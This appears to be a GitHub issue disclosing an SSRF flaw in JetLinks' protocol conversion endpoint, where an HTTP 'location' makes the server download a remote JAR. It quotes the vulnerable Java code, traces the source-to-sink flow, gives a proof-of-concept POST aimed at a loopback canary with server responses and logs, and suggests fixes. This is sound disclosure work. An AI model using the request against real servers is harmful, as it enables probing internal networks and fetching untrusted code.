Skip to content

Protocol remote JAR location SSRF #769

Description

@cyuanb

Summary

The protocol conversion endpoint accepts configuration.location for a protocol definition. AutoDownloadJarProtocolSupportLoader treats an HTTP location as a remote JAR, downloads it, writes it to a temporary file, and only then loads the protocol provider. The URL is not restricted to a trusted repository or checked against internal network ranges.

Root Cause

The vulnerable source is configuration.location in the protocol conversion request. ProtocolSupportController.java:204-213 converts the submitted entity to a deploy definition and invokes supportLoader.load:

@PostMapping("/convert")
public Mono<ProtocolDetail> convertToDetail(
    @RequestBody Mono<ProtocolSupportEntity> entity) {
    return entity
        .map(ProtocolSupportEntity::toDeployDefinition)
        .doOnNext(def -> def.setId("_debug"))
        .flatMap(def -> supportLoader.load(def))
        .flatMap(support -> ProtocolDetail.of(support, transport)
            .doFinally(s -> support.dispose()));
}

AutoDownloadJarProtocolSupportLoader.java:121-164 reads configuration.location and downloads it when the value begins with http:

String location = Optional
    .ofNullable(config.get("location"))
    .map(String::valueOf)
    .orElse(null);

if (StringUtils.hasText(location) && location.startsWith("http")) {
    File file = new File(tempPath, newDef.getId() + "_" + md5(location) + ".jar");
    return FileUtils
        .readDataBuffer(webClient, location)
        .as(dataStream ->
            DataBufferUtils.write(dataStream, file.toPath(), CREATE, WRITE))
        .doOnNext(path -> config.put("location", path))
        .then(super.load(newDef));
}

FileUtils.readDataBuffer reaches WebClient.get().uri(location). The source-to-sink flow is:

POST /protocol/convert
  -> ProtocolSupportEntity.configuration.location
  -> ProtocolSupportEntity.toDeployDefinition
  -> AutoDownloadJarProtocolSupportLoader.load
  -> HTTP location branch
  -> FileUtils.readDataBuffer
  -> WebClient.get().uri(location)
  -> temporary JAR file
  -> protocol provider loading

POC

Request A:

POST /protocol/convert HTTP/1.1
Host: localhost:31905
User-Agent: curl/7.81.0
Accept: */*
X-Access-Token: <redacted>
Content-Type: application/json
Content-Length: 197

{"id":"union-protocol-A","name":"Union Protocol A","description":"dynamic SSRF probe","type":"jar","state":1,"configuration":{"location":"http://127.0.0.1:28081/poc/jetlinks-community_SSRF-005-A"}}

Response A:

HTTP/1.1 400 Bad Request
traceparent: 00-e7844a7be6e6de08a852cbe9e7adc641-1196d2acc02511e8-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 112

{"message":"error.protocol_provider_not_found","status":400,"code":"illegal_argument","timestamp":1785655060733}

Request B used union-protocol-B and SSRF-005-B. Its response was:

HTTP/1.1 400 Bad Request
traceparent: 00-e965b93c676fc8d7ceec69d6e99080d2-160d0c27635ddb4c-01
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Type: application/json
Content-Length: 112

{"message":"error.protocol_provider_not_found","status":400,"code":"illegal_argument","timestamp":1785655060873}

Target-side canary evidence:

GET /poc/jetlinks-community_SSRF-005-A
source: 127.0.0.1

GET /poc/jetlinks-community_SSRF-005-B
source: 127.0.0.1

Impact

An authenticated principal that can invoke protocol conversion can make JetLinks retrieve arbitrary HTTP resources reachable from the application network and store them as protocol artifacts.

Suggested Fix

Use managed protocol artifact IDs or a signed, allowlisted repository. Before any download, enforce scheme/host/port and resolved-address policy, block private/loopback/link-local/metadata ranges, revalidate redirects, cap size/time, verify cryptographic integrity, and isolate protocol loading.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions